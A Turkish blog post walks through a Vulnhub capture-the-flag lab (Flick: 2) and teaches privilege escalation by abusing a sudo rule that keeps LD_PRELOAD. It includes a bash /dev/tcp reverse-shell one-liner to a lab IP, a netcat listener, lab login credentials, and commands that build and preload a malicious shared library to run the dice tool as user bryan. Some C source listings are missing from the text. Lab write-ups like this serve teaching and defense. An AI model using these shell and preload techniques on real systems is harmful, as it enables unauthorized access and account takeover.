Linux Sızma Testlerinde LD_PRELOAD Değişkeni Kullanımının İstismar Edilerek Hak Yükseltilmesi

0
272
views
Linux sızma testleri sırasında standart haklar ile erişim sağlanabilmiş bir bilgisayarda, hak yükseltilerek yönetici (veya başka bir kullanıcı) hakları elde edilmeye çalışılır. Hak yükseltmek için kullanılan yöntemlerden birisi de LD_PRELOAD değişkeninin kötüye kullanılmasıdır. Bu yazıda, Flick: 2 sanal makinesindeki yapılandırma ayarı istismar edilerek yatay hak yükseltme saldırısı gerçekleştirilecek ve başka bir kullanıcı hakkı ile komut satırı erişimi elde edilecektir.

Yazıda kullanılan Flick: 2 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/flick-2,122/

 

SSH servisi açık olmayan bu makineye aşağıdaki bilgiler ile fiziksel olarak erişim sağlanabilir.

  • Kullanıcı Adı: robin
  • Parola: 40373df4b7a1f413af61cf7fd06d03a565a51898

Fiziksel olarak oturum açıldıktan sonra, saldırının gerçekleşeceği makinede TCP\2222 gibi bir dinleyici açılır ve ters bağlantı elde edilebilir.

id
/bin/bash -i >& /dev/tcp/192.168.245.129/2222 0>&1

nc -nlvp 2222
python -c ‘import pty; pty.spawn(“/bin/bash”)’

 

A) Mevcut Durumun İncelenmesi

Dosyalar karıştırıldığında “robin” kullanıcısının varsayılan ev dizininde “debug.gpg” dosyası görülmektedir.

cat /home/robin/debug.gpg

 

Bu dosya içerisinde “dice” (zar), getenv(“LD_PRELOAD”) fonksiyonunun “nil” değeri atanması, rand() fonksiyonunun 1804289383 sayısına sabitlenmesi gibi ifadeler ile karşılaşılmaktadır.

Oturum elde edilen “robin” kullanıcısının yetkileri incelendiğinde “bryan” kullanıcısı gibi “/usr/local/bin/dice” komutunu çalıştırabildiği görülmektedir. Bu komutun çıktısı her defasında sabit bir değer döndürmektedir. Bunun yanında “dice” uygulamasına okuma yetkisi verilmediği de görülmektedir.

sudo -l
/usr/local/bin/dice
/usr/local/bin/dice
/usr/local/bin/dice
ls -la /usr/local/bin/dice

 

sudo -l” çıktısı incelendiğinde “env_keep+=LD_PRELOAD” ifadesinin eklendiği görülmektedir. Bu ayar sayesinde “sudo” aracı “LD_PRELOAD” değişkeninin kullanımına (yapılandırılmasına) izin vermektedir.

 

B) LD_PRELOAD Değişkeni ve Örnek Kullanımı

Paylaşımlı kitaplıklar (shared libraries) bir çok uygulama tarafından kullanılabilen kütüphanelerdir. Bu durum bir çok uygulamanın aynı kitaplığı paylaşabilmesi, merkezi bir yönetim sağlanması, bellekte ve diskte az yer kaplanması gibi bir takım avantajlar sağlar. Bunun yanında bir kütüphane dosyasında yapılan değişiklik, bu dosyayı doğrudan veya dolaylı olarak kullanan uygulamaların tamamını etkileyebilir, yani sistemin kararlılığı bozulabilir.

LD_PRELOAD (Preloading Libraries) değişkeni ile dinamik bağlantılı uygulamalarda yeniden derlemeye gerek kalmadan çalıştırılabilir bir dosyanın çalışma esnasında yükleyeceği kütüphanelerden önce başka bir kütüphanenin çağırılması sağlanabilir. LD_PRELOAD değişkenini bir örnek üzerinden aşağıdaki gibi açıklanabilir.

Standart “rand()” fonksiyonunu kullanarak mod 100’de rastgele 10 tane sayı yazdıran bir C fonksiyonu (10RastgeleSayiyiYazdir.c) şu şekildedir.

 

Bu C dosyası varsayılan olarak (bayrak / flag kullanılmadan) derlendiğinde 10 tane sayı ekrana bastırmaktadır. Bu çalıştırılabilir dosya (10Sayi) her çalıştırıldığında farklı değerler çıkarmaktadır.

cat 10RastgeleSayiyiYazdir.c
gcc 10RastgeleSayiyiYazdir.c -o 10Sayi
./10Sayi
./10Sayi

 

Standart “rand()” fonksiyonu yerine aynı isimde bir “rand()” fonksiyonu ile rastgele sayı elde etmek yerine her zaman aynı / sabit değer (“12345678”) elde edilebilir. Bunun için yeni bir C dosyası (Sabitle.c) içerisine “rand()” fonksiyonu yazılabilir.

 

Bu C dosyasından (Sabitle.c) paylaşımlı dinamik kütüphane oluşturmak için çeşitli bayraklar ile derleme işlemi gerçekleştirilir ve yeni bir dosya (CiktiyiSabitle.so) oluşturulur. Oluşturulan bu dosya ile 10 tane sayıyı ekrana bastırmak için hazırlanan dosya (10Sayi) çalıştırıldığıda, orijinal “rand()” fonksiyonu yerine dinamik kütüphane dosyası içerisindeki (CiktiyiSabitle.so) “rand()” fonksiyonu çalışır ve her defasında “78” (12345678’ün mod 100 değeri) elde edilir. “10Sayi” dosyasının her çalıştırılması sonucunda yine “78” değeri elde edilir.

cat Sabitle.c
gcc -shared -fPIC Sabitle.c -o CiktiyiSabitle.so
LD_PRELOAD=$PWD/CiktiyiSabitle.so ./10Sayi
LD_PRELOAD=$PWD/CiktiyiSabitle.so ./10Sayi

 

Not: Çalıştırılabilir dosyaya (10Sayi) her defasında LD_PRELOAD değişkeni ile kütüphaneyi (CiktiyiSabitle.so) göstermek yerine, bu kütüphane dosyası çevresel değişkenlere sabitlenebilir ve böylece “LD_PRELOAD=$PWD/CiktiyiSabitle.so” ifadesinin yazılmasına gerek kalmaz.

./10Sayi
export LD_PRELOAD=$PWD/CiktiyiSabitle.so
./10Sayi

 

Not:export” aracı ile ayarlanan çevresel değişkenler, “unset” aracı ile iptal edilebilir. Örnek;

unset $LD_PRELOAD

 

Çalışma anında “10Sayi” dosyasının standart olarak çalışması ile “CiktiyiSabitle.so” kütüphanesini çağırarak çalışması arasındaki farkı (paylaşımlı nesne bağımlılıklarını) görmek için “ldd” aracı kullanılabilir. Aşağıdaki çıktıda da görüldüğü üzere, “LD_PRELOAD” değişkeninin kullanımı ile “CiktiyiSabitle.so” paylaşımlı kütüphanesindeki nesneler (değişkenler, fonksiyonlar vs) ilk olarak işletilecektir.

ldd 10Sayi
LD_PRELOAD=$PWD/CiktiyiSabitle.so ldd 10Sayi

 

C) LD_PRELOAD Değişkeninin Kötüye Kullanımı

sudo -l” çıktısı incelendiğinde “dice” aracı “bryan” yetkisi ile çalıştırılabilmekte ve LD_PRELOAD değişkeninin kullanımına izin verilmekteydi. Bu durumda bir paylaşımlı kütüphane oluşturularak “dice” uygulamasındaki bir fonksiyonun üzerine yazıldığında, (/etc/sudoers dosyasındaki girdi sebebi ile) “bryan” yetkisi ile komut çalıştırılabilir.

Okuma yetkisi verilmediği için “dice” aracının paylaşımlı nesne bağımlılıkları görülememektedir.

ldd /usr/local/bin/dice
ls -la /usr/local/bin/dice

 

Dosya içeriği hakkında bilgi sahibi olunamasa da “debug.gpg” dosyasındaki ipucundan ve “dice” uygulamasının çıktısındaki sayıdan hareketle, “dice” uygulaması içerisinde “rand()” fonksiyonunun kullanıldığı sonucu çıkarılabilir. Orijinal “rand()” fonksiyonu yerine komut satırı verebilecek “rand()” fonksiyonu (geri dönüş değeri “int” olacak şekilde) aşağıdaki gibi oluşturulabilir.

VEYA

VEYA

 

 

Not:debug.gpg” dosyasında getenv(“LD_PRELOAD”) fonksiyonunun “nil” değeri atandığı görülmekteydi. Bu sebeple, “getenv(const char *name)” fonksiyonu da dinamik olarak üzerine yazılmıştır.

Hazırlanan C dosyalarından (HakYukselt.c) birisi ile dinamik kütüphane dosyası (rand-HakYukselt.so) oluşturulup “bryan” gibi “dice” aracı çalıştırıldığında yatay hak yükseltme saldırısı gerçekleştirilmiş olunur.

cd /tmp
cat HakYukselt.c
gcc -shared -fPIC HakYukselt.c -o rand-HakYukselt.so
ls -la *HakYukselt*
sudo -u bryan LD_PRELOAD=/tmp/rand-HakYukselt.so /usr/local/bin/dice

 

Not: Dinamik nesneye “bryan” kullanıcı hesabı ile erişilebilmesi ve çalıştırılabilmesi gerekmektedir. Bu sebeple, gerekli işlemler “/tmp” dizini altında gerçekleştirilmiştir. Aksi durumda aşağıdakine benzer bir hata ile karşılaşılabilirdi.

ERROR: ld.so: object ‘//home/robin/rand-HakYukselt.so’ from LD_PRELOAD cannot be preloaded: ignored.

 

Kaynaklar:

https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/

Paylaşımlı kitaplıklar – kullanımı ve yönetimi


https://dustri.org/b/fun-with-ld_preload.html
https://www.busindre.com/escalada_de_privilegios_con_variable_ld_preload

Linux Privilege Escalation using LD_Preload


http://touhidshaikh.com/blog/?p=827
vulnhub: flickII – to the root – walkthrough part2
https://github.com/dqi/ctf_writeup/tree/master/boot2root/flick2
https://ru-clip.net/video/iFXUnCGIrcc/sudo-ld-preload-linux-privilege-escalation.html
https://g0blin.co.uk/flick-2-vulnhub-writeup/
https://matthieukeller.com/2016/03/vulnhub-flickii.htmhttps://gezegen.linux.org.tr/?p=1263l
OKU: https://www.it-swarm.net/tr/c/ld-preload-numarasi-nedir/958111798/
https://maggick.fr/2016/03/vulnhub-flickii.html
http://blog.chaselambda.com/2014/11/25/how-tmux-starts-up-an-adventure-with-linux-tools.html

 

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

This site uses Akismet to reduce spam. Learn how your comment data is processed.